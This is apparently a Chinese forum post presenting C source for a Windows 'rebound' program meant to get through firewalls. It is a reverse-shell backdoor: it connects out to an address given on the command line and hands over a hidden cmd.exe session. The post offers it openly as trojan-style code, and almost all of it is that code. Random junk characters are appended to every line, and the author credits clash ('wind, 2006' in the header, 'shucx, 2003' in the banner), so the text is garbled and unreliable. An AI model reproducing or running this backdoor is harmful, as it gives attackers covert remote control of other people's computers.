这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 EpO2%|@
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/* ============================== FRR05%K
Rebound port in Windows NT u=Ik&^v
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By wind,2006/7 LZ_0=Xx%
===============================*/ )#z{P[X^
#include 7b08Lo7b
#include ZHjL8Iq
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#pragma comment(lib,"wsock32.lib") ECA<%'$?E
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void OutputShell(); @.$-
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SOCKET sClient; n%29WF6Zf
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; uWKmINjv'
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void main(int argc,char **argv) W/\VpD) ?;
{ Z8Ig,
WSADATA stWsaData; -5
int nRet; @@^iN~uf
SOCKADDR_IN stSaiClient,stSaiServer; _ f";zd
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if(argc != 3) 9tv,,I;iU
{ bwhH2 ^ !
printf("Useage:\n\rRebound DestIP DestPort\n"); "[P3b"=gW
return; n_; s2,2r
} 5PZ!ZO&
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WSAStartup(MAKEWORD(2,2),&stWsaData); aL[6}U0 (}
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); }\S'oC\[
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stSaiClient.sin_family = AF_INET; wdP(MkaV
stSaiClient.sin_port = htons(0); E"VFBKB
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ~IW{^u
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) "G%</G8M
{ OFtf)cGE
printf("Bind Socket Failed!\n"); '4{=x]K
return; aOd#f:{y
} E \DA3lq
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stSaiServer.sin_family = AF_INET; NjZ~b/
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ^wWbW&<Tg
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); O=+$XPa|
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ?-:2f#bC
{ 11"r FZ
printf("Connect Error!"); W9w*=W
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return; @I-gs(
} P~{8L.w!>W
OutputShell(); sw}O g`U
} u$^tRz9
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void OutputShell() V6P-?Nd
{ p&RC#wYu
char szBuff[1024]; YX-~?Pl
SECURITY_ATTRIBUTES stSecurityAttributes; +={K -g7U
OSVERSIONINFO stOsversionInfo; -!_8>r;Q4
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Kw`CN
STARTUPINFO stStartupInfo; BZ:tVfg.
char *szShell; #at`7#K@
PROCESS_INFORMATION stProcessInformation; T 'c39
unsigned long lBytesRead; 4zS0kk;+
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); {rR(K"M
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 9}9VZ r?
stSecurityAttributes.lpSecurityDescriptor = 0; J6s]vV q"
stSecurityAttributes.bInheritHandle = TRUE; -ymDRoi
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); gm)Uyr$
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); <$e|'}>A
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); r~)fAb?
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; T8A(W
stStartupInfo.wShowWindow = SW_HIDE; 3:nBl?G<
stStartupInfo.hStdInput = hReadPipe; %\<b{x# G
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; kd^H}k
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GetVersionEx(&stOsversionInfo); SdYf^@%}F
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switch(stOsversionInfo.dwPlatformId)
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{ TC/c5:)]
case 1: A_9^S!
szShell = "command.com"; ]S&ki}i&
break; Su,:f_If,
default: !-7n69:G
szShell = "cmd.exe"; iWD|F-
break; Z,#H\1v3lB
} 0i_:J
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); rT[qh+KWe
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send(sClient,szMsg,77,0); qMJJB l
while(1) 6E}9uwQ
{ wv3,%
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); QKj0~ia
5
if(lBytesRead) HGGq;Nbm
{ EWD^=VITL
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); '3672wF/
send(sClient,szBuff,lBytesRead,0); Ldjz-
} )k,n}
else DSz[,AaR]
{ 7tcadXk0
lBytesRead=recv(sClient,szBuff,1024,0); -Ty~lZ)TDT
if(lBytesRead<=0) break; !}TsFa
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); kh0cJE\_^
} 4uIYX
} EpAgKzVpJ
Z71m(//*}
return; e7U\gtZ.
}